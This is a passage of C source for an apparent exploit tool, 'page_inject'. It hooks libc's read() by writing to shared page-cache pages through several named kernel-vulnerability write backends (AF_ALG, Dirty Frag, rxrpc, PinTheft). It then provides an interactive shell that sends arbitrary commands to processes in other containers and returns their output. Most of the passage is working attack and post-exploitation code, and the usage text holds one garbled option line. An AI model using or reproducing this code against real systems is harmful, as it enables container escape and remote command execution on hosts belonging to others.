        printf("[*] Sending command to key 0x%08x: \"%s\"\n", target_key, command);

    if (inject_blob(fd, L->cmd_foff + 8, cbuf, padded, "cmd_string") < 0) {
        free(cbuf);
        return -1;
    }
    free(cbuf);

    if (inject_word(fd, L->cmd_foff + 4, CMD_OPCODE_EXEC, "cmd_opcode") < 0)
        return -1;

    /* Write target key last -- triggers execution */
    if (inject_word(fd, L->cmd_foff, target_key, "cmd_key") < 0)
        return -1;

    if (verbose)
        printf("[+] Command dispatched.\n");
    return 0;
}

static char *wait_result(int fd, const struct libc_layout *L, int timeout_sec)
{
    if (verbose)
        printf("[*] Waiting for result (timeout %ds)...\n", timeout_sec);

    for (int s = 0; s < timeout_sec; s++) {
        uint32_t key;
        if (pread(fd, &key, 4, L->cmd_foff) != 4) {
            fprintf(stderr, "[!] pread cmd key failed\n");
            return NULL;
        }
        if (key == CMD_KEY_DONE) {
            if (verbose)
                printf("[+] Command completed (t=%ds).\n", s);

            char *out = malloc(L->output_size + 1);
            if (!out) return NULL;
            ssize_t n = pread(fd, out, L->output_size, L->output_foff);
            if (n < 0) { free(out); return NULL; }
            out[n] = '\0';

            size_t len = strnlen(out, (size_t)n);
            out[len] = '\0';

            /* Trim trailing padding garbage at last newline */
            char *last_nl = NULL;
            for (size_t i = len; i > 0; i--) {
                if (out[i-1] == '\n') { last_nl = &out[i-1]; break; }
            }
            if (last_nl && (size_t)(last_nl - out) + 1 < len) {
                *(last_nl + 1) = '\0';
            }

            return out;
        }
        struct timespec ts = {1, 0};
        nanosleep(&ts, NULL);
    }

    fprintf(stderr, "[!] Timeout waiting for command completion\n");
    return NULL;
}

static void clear_output(int fd, const struct libc_layout *L, size_t len)
{
    if (len == 0) return;
    /* Round up to the next 4-byte boundary -- inject_blob writes in
     * 4-byte chunks. */
    size_t clr = (len + 3) & ~3ULL;
    if (clr > L->output_size) clr = L->output_size;

    uint8_t *zeros = calloc(1, clr);
    if (!zeros) return;
    inject_blob(fd, L->output_foff, zeros, clr, NULL);
    free(zeros);
}

static uint32_t *read_slot_keys(int fd, const struct libc_layout *L,
                                int *nkeys)
{
    size_t table_size = (size_t)L->slot_count * 4;
    uint8_t *buf = malloc(table_size);
    if (!buf) { *nkeys = 0; return NULL; }

    if (pread(fd, buf, table_size, L->slot_start_foff) < (ssize_t)table_size) {
        free(buf);
        *nkeys = 0;
        return NULL;
    }

    /* Read baseline for comparison (original .hash data before injection).
     * For backends that zeroed the slot region, baseline is all zeros and
     * this check is a no-op. For dirty-frag (skips zeroing), this filters
     * out stale .hash entries that were never overwritten by Zone C. */
    uint32_t *baseline = NULL;
    if (L->slot_baseline) {
        baseline = L->slot_baseline;
    }

    uint32_t *slots = (uint32_t *)buf;
    /* count unique non-zero keys that differ from baseline */
    uint32_t *keys = malloc(L->slot_count * sizeof(uint32_t));
    int n = 0;
    for (int i = 0; i < L->slot_count && n < L->slot_count; i++) {
        if (slots[i] == 0) continue;
        /* Skip values unchanged from baseline (stale .hash data) */
        if (baseline && slots[i] == baseline[i]) continue;
        int dup = 0;
        for (int j = 0; j < n; j++)
            if (keys[j] == slots[i]) { dup = 1; break; }
        if (!dup)
            keys[n++] = slots[i];
    }
    free(buf);
    *nkeys = n;
    return keys;
}

/* -- Path-A unhook (libc-only) ----------------------------------- */

static int do_unhook_path_a(int fd, const struct libc_layout *L)
{
    int hook_len = L->read_hook_len;
    printf("\n===================================================\n"
           "  UNHOOK: restoring read() prologue (%d bytes)\n"
           "===================================================\n\n", hook_len);

    /* --- Step 1: rebuild original prologue --- */
    uint8_t orig[13];  /* max 11 + 1 preserved tail byte */
    int p = 0;

    if (L->read_has_endbr) {
        /* endbr64 = f3 0f 1e fa */
        orig[p++] = 0xf3;
        orig[p++] = 0x0f;
        orig[p++] = 0x1e;
        orig[p++] = 0xfa;
    }

    if (L->prologue_kind == PROLOGUE_GLIBC243_PUSH_RBP) {
        /* glibc 2.43 (arch): push rbp + movsxd rdi, edi + xor r9d, r9d
         * -- same total length as the OLD cmpb (7 bytes). */
        orig[p++] = 0x55;
        orig[p++] = 0x48; orig[p++] = 0x63; orig[p++] = 0xff;
        orig[p++] = 0x45; orig[p++] = 0x31; orig[p++] = 0xc9;
    } else if (L->prologue_kind == PROLOGUE_TLS_FS) {
        /* glibc 2.31 / 2.35: 8-byte mov eax, fs:[disp32]. We saved
         * the original bytes verbatim at discover time. */
        memcpy(&orig[p], L->tls_mov_bytes, 8);
        p += 8;
    } else {
        /* OLD: cmp byte [rip + disp32], 0   ->  80 3D [disp32] 00 */
        int32_t st_disp = (int32_t)(L->single_thr_va -
                                    (L->read_va + hook_len));
        orig[p++] = 0x80;
        orig[p++] = 0x3d;
        memcpy(&orig[p], &st_disp, 4);
        p += 4;
        orig[p++] = 0x00;
    }
    /* p == hook_len here */

    /* Preserve the byte right after the hook region (inject_word is 4-byte).
     * Only matters for hook_len in {7, 11}; for {8, 12} the writes end
     * exactly at a 4-byte boundary and don't read this byte. */
    uint8_t tail_byte = 0x74;
    pread(fd, &tail_byte, 1, L->read_foff + hook_len);
    if (hook_len == 7 || hook_len == 11)
        orig[hook_len] = tail_byte;

    printf("-- Restoring read() prologue --\n    orig:");
    for (int i = 0; i < hook_len; i++)
        printf(" %02x", orig[i]);
    if (hook_len == 7 || hook_len == 11)
        printf(" [%02x]\n", tail_byte);
    else
        printf("\n");

    /* Write backwards (tail first, word 0 last to deactivate hook) */
    if (hook_len == 11 || hook_len == 12) {
        uint32_t w0, w1, w2;
        memcpy(&w0, &orig[0], 4);
        memcpy(&w1, &orig[4], 4);
        memcpy(&w2, &orig[8], 4);
        if (inject_word(fd, L->read_foff + 8, w2, "unhook[8:..]") < 0 ||
            inject_word(fd, L->read_foff + 4, w1, "unhook[4:7]")  < 0 ||
            inject_word(fd, L->read_foff,     w0, "unhook[0:3]")  < 0)
            return -1;
    } else {
        uint32_t w0, w1;
        memcpy(&w0, &orig[0], 4);
        memcpy(&w1, &orig[4], 4);
        if (inject_word(fd, L->read_foff + 4, w1, "unhook[4:..]") < 0 ||
            inject_word(fd, L->read_foff,     w0, "unhook[0:3]")  < 0)
            return -1;
    }
    printf("[+] read() prologue restored.\n\n");

    /* --- Step 2: zero the slot table so children self-terminate --- */
    printf("-- Zeroing slot table (%d slots) --\n", L->slot_count);
    size_t table_size = (size_t)L->slot_count * 4;
    uint8_t *buf = malloc(table_size);
    if (!buf) return -1;

    if (pread(fd, buf, table_size, L->slot_start_foff) < (ssize_t)table_size) {
        free(buf);
        fprintf(stderr, "[!] Failed to read slot table\n");
        return -1;
    }

    uint32_t *slots = (uint32_t *)buf;
    int zeroed = 0;
    for (int i = 0; i < L->slot_count; i++) {
        if (slots[i] != 0) {
            off_t slot_foff = L->slot_start_foff + (off_t)i * 4;
            char label[32];
            snprintf(label, sizeof(label), "slot[%d]=0x%08x->0", i, slots[i]);
            if (inject_word(fd, slot_foff, 0, label) < 0) {
                fprintf(stderr, "[!] Failed to zero slot %d\n", i);
            } else {
                zeroed++;
            }
        }
    }
    free(buf);

    printf("[+] Zeroed %d slot(s). Children will exit within ~1s.\n", zeroed);

    /* NOTE: when SLOT_REGION_EH_FRAME_HDR was used, we deliberately do
     * NOT restore fde_count to its section-derived original.
     *
     *   - We can't restore the actual FDE bytes we overwrote (slot table
     *     + cmd + output writes corrupted ~256 FDE entries, plus the
     *     zero-step nuked the rest of the truncated tail).
     *   - madvise()/posix_fadvise(POSIX_FADV_DONTNEED) cannot help here:
     *     every running container has libc.so.6 mmap'd, so the pages
     *     are pinned and the kernel will not re-fetch them from disk.
     *   - Restoring fde_count alone, with zeroed FDE bytes still in
     *     place, would break the unwinder's sort-order assumption: the
     *     zeroed entries (initial_location=0) would appear at the END
     *     of the table but compare as the SMALLEST keys, scrambling
     *     binary search and likely causing crashes on any unwinding.
     *
     * Leaving fde_count=truncated is the safest state: the unwinder
     * silently falls through to a linear scan of .eh_frame for any IP
     * that used to live in the truncated FDE range (LSB-spec mandated
     * fallback), which is slower but always correct. */

    printf("\n[+] Unhook complete.\n");
    return 0;
}

/* -- Path-B unhook (libc trampoline + ld.so payload) ------------
 *
 *  Restoring path B is symmetric to path A: rebuild read()'s prologue
 *  bytes (the trampoline jmp goes away), then zero the slot table so
 *  any hook children -- which live in ld.so's zone_c_ld code -- see an
 *  empty slot on their next cmd_loop iteration and self-terminate.
 *
 *  We deliberately do NOT zero ld.so's cave bytes: once read()'s
 *  prologue is restored, nothing reaches that code anymore. Leaving
 *  it intact also gives the test harness a stable artifact to inspect.
 */
static int do_unhook_path_b(int libc_fd, const struct libc_layout *L)
{
    int hook_len = L->read_hook_len;

    printf("\n===================================================\n"
           "  UNHOOK (path B): restoring read() prologue (%d bytes)\n"
           "===================================================\n\n", hook_len);

    /* Step 1: rebuild original prologue bytes. Same template as path A. */
    uint8_t orig[13];
    int p = 0;

    if (L->read_has_endbr) {
        orig[p++] = 0xf3;
        orig[p++] = 0x0f;
        orig[p++] = 0x1e;
        orig[p++] = 0xfa;
    }
    /* Path B currently only fires for OLD prologue (decide_inject_path
     * refuses NEW/TLS on path B). Keep the OLD reconstruction here. */
    int32_t st_disp = (int32_t)(L->single_thr_va -
                                (L->read_va + hook_len));
    orig[p++] = 0x80;
    orig[p++] = 0x3d;
    memcpy(&orig[p], &st_disp, 4);
    p += 4;
    orig[p++] = 0x00;

    uint8_t tail_byte = 0x74;
    pread(libc_fd, &tail_byte, 1, L->read_foff + hook_len);
    if (hook_len == 7 || hook_len == 11)
        orig[hook_len] = tail_byte;

    printf("-- Restoring read() prologue --\n    orig:");
    for (int i = 0; i < hook_len; i++) printf(" %02x", orig[i]);
    if (hook_len == 7 || hook_len == 11)
        printf(" [%02x]\n", tail_byte);
    else
        printf("\n");

    if (hook_len == 11 || hook_len == 12) {
        uint32_t w0, w1, w2;
        memcpy(&w0, &orig[0], 4);
        memcpy(&w1, &orig[4], 4);
        memcpy(&w2, &orig[8], 4);
        if (inject_word(libc_fd, L->read_foff + 8, w2, "unhook[8:..]") < 0 ||
            inject_word(libc_fd, L->read_foff + 4, w1, "unhook[4:7]")  < 0 ||
            inject_word(libc_fd, L->read_foff,     w0, "unhook[0:3]")  < 0)
            return -1;
    } else {
        uint32_t w0, w1;
        memcpy(&w0, &orig[0], 4);
        memcpy(&w1, &orig[4], 4);
        if (inject_word(libc_fd, L->read_foff + 4, w1, "unhook[4:..]") < 0 ||
            inject_word(libc_fd, L->read_foff,     w0, "unhook[0:3]")  < 0)
            return -1;
    }
    printf("[+] read() prologue restored.\n\n");

    /* Step 2: zero slot table. */
    printf("-- Zeroing slot table (%d slots) --\n", L->slot_count);
    size_t table_size = (size_t)L->slot_count * 4;
    uint8_t *buf = malloc(table_size);
    if (!buf) return -1;
    if (pread(libc_fd, buf, table_size, L->slot_start_foff) < (ssize_t)table_size) {
        free(buf);
        fprintf(stderr, "[!] Failed to read slot table\n");
        return -1;
    }
    uint32_t *slots = (uint32_t *)buf;
    int zeroed = 0;
    for (int i = 0; i < L->slot_count; i++) {
        if (slots[i] != 0) {
            off_t slot_foff = L->slot_start_foff + (off_t)i * 4;
            char label[32];
            snprintf(label, sizeof(label), "slot[%d]=0x%08x->0", i, slots[i]);
            if (inject_word(libc_fd, slot_foff, 0, label) < 0) {
                fprintf(stderr, "[!] Failed to zero slot %d\n", i);
            } else {
                zeroed++;
            }
        }
    }
    free(buf);
    printf("[+] Zeroed %d slot(s). Children will exit within ~1s.\n", zeroed);

    /* See path-A unhook for why we deliberately leave fde_count truncated
     * when SLOT_REGION_EH_FRAME_HDR was used: restoring it without also
     * restoring the corrupted FDE bytes would break the unwinder's
     * binary-search invariant. Linear-scan fallback in the unwinder
     * handles the truncated state correctly. */

    /* Match path-A's "Unhook complete." marker so the test harness's
     * generic grep works for both paths without distinguishing them. */
    printf("\n[+] Unhook complete. (path B)\n");
    return 0;
}

/* -- Dispatcher ----------------------------------------------- */

static int do_unhook(int fd, const struct libc_layout *L)
{
    if (L->path_b)
        return do_unhook_path_b(fd, L);
    return do_unhook_path_a(fd, L);
}

static void shell_loop(int fd, const struct libc_layout *L,
                       uint32_t target_key)
{
    char line[4096];
    size_t prev_outlen = 0;

    verbose = 0;

    for (;;) {
        printf("\033[1;33minject:%08x\033[0m> ", target_key);
        fflush(stdout);

        if (!fgets(line, sizeof(line), stdin))
            break;

        char *p = line;
        while (*p == ' ' || *p == '\t') p++;

        size_t len = strlen(p);
        while (len > 0 && (p[len-1] == '\n' || p[len-1] == '\r'
                           || p[len-1] == ' ' || p[len-1] == '\t'))
            p[--len] = '\0';
        if (len == 0) continue;


        if (strcmp(p, "exit") == 0 || strcmp(p, "quit") == 0)
            break;

        if (strcmp(p, "help") == 0) {
            printf("Commands:\n"
                   "  list           Show registered container keys\n"
                   "  target 0xKEY   Switch target container\n"
                   "  unhook         Restore read() prologue + zero slots (clean exit)\n"
                   "  exit / quit    Exit the shell\n");
            continue;
        }

        if (strcmp(p, "list") == 0) {
            int nk;
            uint32_t *keys = read_slot_keys(fd, L, &nk);
            if (nk == 0) {
                printf("No containers registered yet.\n");
            } else {
                if (target_key == 0) {
                    target_key = keys[0];
                    printf("Auto-targeted -> 0x%08x\n", target_key);
                }
                printf("Registered containers (%d):\n", nk);
                for (int i = 0; i < nk; i++)
                    printf("  [%d] 0x%08x%s\n", i, keys[i],
                           keys[i] == target_key ? "  <- current" : "");
            }
            free(keys);
            continue;
        }

        if (strncmp(p, "target ", 7) == 0) {
            uint32_t newkey = (uint32_t)strtoul(p + 7, NULL, 0);
            if (newkey == 0) {
                fprintf(stderr, "Usage: target 0xKEY\n");
            } else {
                target_key = newkey;
                printf("Target -> 0x%08x\n", target_key);
            }
            continue;
        }

        if (strcmp(p, "unhook") == 0) {
            do_unhook(fd, L);
            break;
        }


        if (strncmp(p, "exec ", 5) != 0) {
            fprintf(stderr, "Unknown command. Type 'help' for usage.\n");
            continue;
        }
        if (target_key == 0) {
            fprintf(stderr, "No target set. Use 'list' then 'target 0xKEY' first.\n");
            continue;
        }
        const char *cmd = p + 5;
        while (*cmd == ' ') cmd++;    /* skip extra spaces after exec */
        if (*cmd == '\0') {
            fprintf(stderr, "Usage: exec <command>\n");
            continue;
        }

        clear_output(fd, L, prev_outlen);

        if (send_command(fd, L, target_key, cmd) != 0) {
            fprintf(stderr, "[!] Failed to dispatch command\n");
            continue;
        }

        uint32_t check_key;
        if (pread(fd, &check_key, 4, L->cmd_foff) == 4 &&
            check_key != target_key) {
            fprintf(stderr, "[!] Write verify: cmd_key=0x%08x "
                    "(expected 0x%08x) -- CVE write may have failed\n",
                    check_key, target_key);
        }

        char *output = wait_result(fd, L, CMD_TIMEOUT_SHELL);
        if (output) {
            size_t olen = strlen(output);
            if (olen > 0)
                printf("%s", output);
            if (olen > 0 && output[olen - 1] != '\n')
                putchar('\n');
            prev_outlen = olen;
            free(output);
        } else {
            uint32_t cur;
            if (pread(fd, &cur, 4, L->cmd_foff) == 4) {
                fprintf(stderr, "[!] cmd_key is 0x%08x  "
                        "(DONE=0x%08x, target=0x%08x)\n",
                        cur, CMD_KEY_DONE, target_key);
            }
            prev_outlen = 0;
        }
    }

    verbose = 1;
}

static void usage(const char *prog)
{
    fprintf(stderr,
        "Usage: %s [OPTIONS] [LIBC_PATH]\n"
        "\n"
        "Options:\n"
        "  --root <prefix>   Auto-resolve libc.so.6 under <prefix> using\n"
        "                    the built-in fixed-path lookup table (e.g.\n"
        "                    --root /proc/<container_pid>/root). Overrides\n"
        "                    any positional LIBC_PATH if both supplied.\n"
        "  --rxrpc           Use rxrpc/rxkad write backend (byte-granular,\n"
        "                    CVE-2026-43500; requires AF_RXRPC + add_key)\n"
        "  --dirty-frag      Use Dirty Frag ESP write backend (4-byte,\n"
        "                    CVE-2026-43284; requires unshare + xfrm)\n"
        "  --pintheft        Use PinTheft write backend (page-granular,\n"
        "                    CVE-2026-43494; requires io_uring + AF_RDS)\n"
        "                    CVE-2026-46300; ESP-in-TCP + unshare)\n"
        "  --shell [0xKEY]   Drop into interactive command shell\n"
        "  --no-bootstrap    Skip injection (shell-only, hook must exist)\n"
        "  --timeout SEC     Slot monitoring timeout (default: %d)\n"
        "  --help, -h        Show this help\n"
        "\n"
        "Default libc (when no --root and no LIBC_PATH): %s\n",
        prog, MONITOR_SECONDS, DEFAULT_LIBC);
}

/* Fixed-path lookup table for libc.so.6.
 *
 * page_inject is statically linked, so it has no in-process libc to ask;
 * it must reach the target's libc by absolute path. Different distros
 * install libc.so.6 at different (well-known) locations:
 *
 *   debian/ubuntu post-merge   /usr/lib/x86_64-linux-gnu/libc.so.6
 *   debian pre-merge (bullseye) /lib/x86_64-linux-gnu/libc.so.6
 *   fedora / rocky / centos    /usr/lib64/libc.so.6
 *   arch                       /usr/lib/libc.so.6
 *   alpine (musl)              /lib/ld-musl-x86_64.so.1   (libc + ld.so combined)
 *
 * `--root <prefix>` searches this table under <prefix> (e.g. <prefix> =
 * "/proc/<container_pid>/root") and uses the first existing match.
 * ld.so is then derived from libc's PT_INTERP, prefixed with the same
 * <root> in discover_ld_layout. */
static const char *const libc_search_paths[] = {
    "/usr/lib/x86_64-linux-gnu/libc.so.6",
    "/lib/x86_64-linux-gnu/libc.so.6",
    "/usr/lib64/libc.so.6",
    "/lib64/libc.so.6",
    "/usr/lib/libc.so.6",
    "/lib/libc.so.6",
    "/lib/ld-musl-x86_64.so.1",
    NULL,
};

/* Resolve libc.so.6 under <root_prefix> by trying each known path.
 *  Returns 0 on success, with `out` populated. */
static int resolve_libc_under_root(const char *root_prefix,
                                   char *out, size_t outlen)
{
    for (int i = 0; libc_search_paths[i]; i++) {
        int n = snprintf(out, outlen, "%s%s",
                         root_prefix, libc_search_paths[i]);
        if (n <= 0 || (size_t)n >= outlen)
            continue;
        struct stat st;
        if (stat(out, &st) == 0 && S_ISREG(st.st_mode)) {
            if (verbose)
                printf("[*] libc auto-resolved: %s\n", out);
            return 0;
        }
    }
    fprintf(stderr,
            "[!] libc.so.6 not found under '%s' "
            "(tried %d standard paths)\n", root_prefix,
            (int)(sizeof(libc_search_paths)/sizeof(libc_search_paths[0]) - 1));
    return -1;
}

int main(int argc, char **argv)
{
    const char *libc_path = DEFAULT_LIBC;
    const char *root_prefix = NULL;
    char        resolved_libc[1024];
    int shell_mode = 0;
    int no_bootstrap = 0;
    int monitor_timeout = MONITOR_SECONDS;
    uint32_t shell_key = 0;

    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) {
            usage(argv[0]);
            return 0;
        } else if (strcmp(argv[i], "--shell") == 0) {
            shell_mode = 1;
            if (i + 1 < argc && argv[i + 1][0] != '-') {
                shell_key = (uint32_t)strtoul(argv[++i], NULL, 0);
            }
        } else if (strcmp(argv[i], "--no-bootstrap") == 0) {
            no_bootstrap = 1;
        } else if (strcmp(argv[i], "--rxrpc") == 0) {
            g_write_backend = BACKEND_RXRPC;
        } else if (strcmp(argv[i], "--dirty-frag") == 0) {
            g_write_backend = BACKEND_DIRTY_FRAG;
        } else if (strcmp(argv[i], "--pintheft") == 0) {
            g_write_backend = BACKEND_PINTHEFT;
        } else if (strcmp(argv[i], "--root") == 0) {
            if (i + 1 >= argc) {
                fprintf(stderr, "error: --root requires an argument\n");
                return 1;
            }
            root_prefix = argv[++i];
        } else if (strcmp(argv[i], "--timeout") == 0) {
            if (i + 1 >= argc) {
                fprintf(stderr, "error: --timeout requires an argument\n");
                return 1;
            }
            monitor_timeout = atoi(argv[++i]);
            if (monitor_timeout < 0) monitor_timeout = 0;
        } else if (argv[i][0] == '-') {
            fprintf(stderr, "error: unknown option '%s'\n\n", argv[i]);
            usage(argv[0]);
            return 1;
        } else {
            libc_path = argv[i];
        }
    }

    /* If --root was given, auto-resolve libc.so.6 from the fixed
     * search table under that prefix. Overrides any positional libc
     * path if both are supplied. */
    if (root_prefix) {
        if (resolve_libc_under_root(root_prefix,
                                    resolved_libc,
                                    sizeof(resolved_libc)) < 0)
            return 1;
        libc_path = resolved_libc;
    }

    int fd = open(libc_path, O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "[!] open(%s): %s\n", libc_path, strerror(errno));
        return 1;
    }

    /* Initialize write backend */
    if (g_write_backend == BACKEND_RXRPC) {
        printf("[*] Write backend: rxrpc/rxkad (CVE-2026-43500, byte-granular)\n");
        rxrpc_write_init();
    } else if (g_write_backend == BACKEND_DIRTY_FRAG) {
        printf("[*] Write backend: Dirty Frag ESP (CVE-2026-43284, 4-byte)\n");
        dirtyfrag_set_path(libc_path);
    } else if (g_write_backend == BACKEND_PINTHEFT) {
        printf("[*] Write backend: PinTheft (CVE-2026-43494, page-granular)\n");
        pintheft_set_path(libc_path);
        if (pintheft_check() < 0) {
            fprintf(stderr, "[!] PinTheft system check failed\n");
            close(fd);
            return 1;
        }
    } else {
        printf("[*] Write backend: AF_ALG authencesn (CVE-2026-31431, 4-byte)\n");
    }

    if (shell_mode) {
        struct libc_layout L;

        if (no_bootstrap) {
            verbose = 0;
            if (discover_layout(libc_path, fd, &L) < 0) {
                close(fd);
                return 1;
            }
            /* no-bootstrap: slot table was already zeroed during injection,
             * so any non-zero value is a real registration. Don't set
             * baseline — read_slot_keys() will show all non-zero slots. */
        } else {
            printf("[*] Parsing ELF: %s\n\n", libc_path);
            if (discover_layout(libc_path, fd, &L) < 0) {
                close(fd);
                return 1;
            }
            if (inject_all(fd, &L) < 0) {
                close(fd);
                return 1;
            }
            if (monitor_timeout > 0) {
                monitor_slots(fd, &L, monitor_timeout);
            }
        }

        int nk;
        uint32_t *keys = read_slot_keys(fd, &L, &nk);

        if (shell_key == 0 && nk > 0)
            shell_key = keys[0];

        printf("\n=== page-cache shell ===\n");
        if (nk > 0) {
            printf("Containers (%d):\n", nk);
            for (int i = 0; i < nk; i++)
                printf("  [%d] 0x%08x%s\n", i, keys[i],
                       keys[i] == shell_key ? "  <- target" : "");
        } else {
            printf("No containers registered yet.\n");
            printf("Trigger read() in a container, then use 'list' + 'target'.\n");
        }
        printf("\nType 'help' for commands.\n\n");
        free(keys);

        verbose = 0;
        shell_loop(fd, &L, shell_key);
        if (g_write_backend == BACKEND_RXRPC) rxrpc_write_cleanup();
        if (g_write_backend == BACKEND_DIRTY_FRAG) dirtyfrag_cleanup();
        if (g_write_backend == BACKEND_PINTHEFT) pintheft_cleanup();
        close(fd);
        return 0;
    }

    printf("[*] Parsing ELF: %s\n\n", libc_path);

    struct libc_layout L;
    if (discover_layout(libc_path, fd, &L) < 0) {
        close(fd);
        return 1;
    }

    if (inject_all(fd, &L) < 0) {
        close(fd);
        return 1;
    }

    int registered = monitor_slots(fd, &L, MONITOR_SECONDS);

    int cmd_ok = 0;

    if (registered >= 1) {
        uint32_t first_key = 0;
        pread(fd, &first_key, 4, L.slot_start_foff);

        if (first_key != 0) {
            printf("\n===================================================\n");
            printf("  Command execution test (target: 0x%08x)\n", first_key);
            printf("===================================================\n\n");

            if (send_command(fd, &L, first_key, "id") == 0) {
                char *output = wait_result(fd, &L, 15);
                if (output) {
                    printf("\n[+] Command output:\n%s", output);
                    if (strstr(output, "uid="))
                        cmd_ok = 1;
                    free(output);
                }
            }
        }
    }

    if (g_write_backend == BACKEND_RXRPC) rxrpc_write_cleanup();
    close(fd);

    printf("\n===================================================\n");
    if (registered >= 2 && cmd_ok)
        printf("  SUCCESS: %d containers, command exec OK\n", registered);
    else if (registered >= 2)
        printf("  PARTIAL: %d containers, command FAILED\n", registered);
    else
        printf("  INCOMPLETE: %d container(s)\n", registered);
    printf("===================================================\n");

    return (registered >= 2 && cmd_ok) ? 0 : 1;
}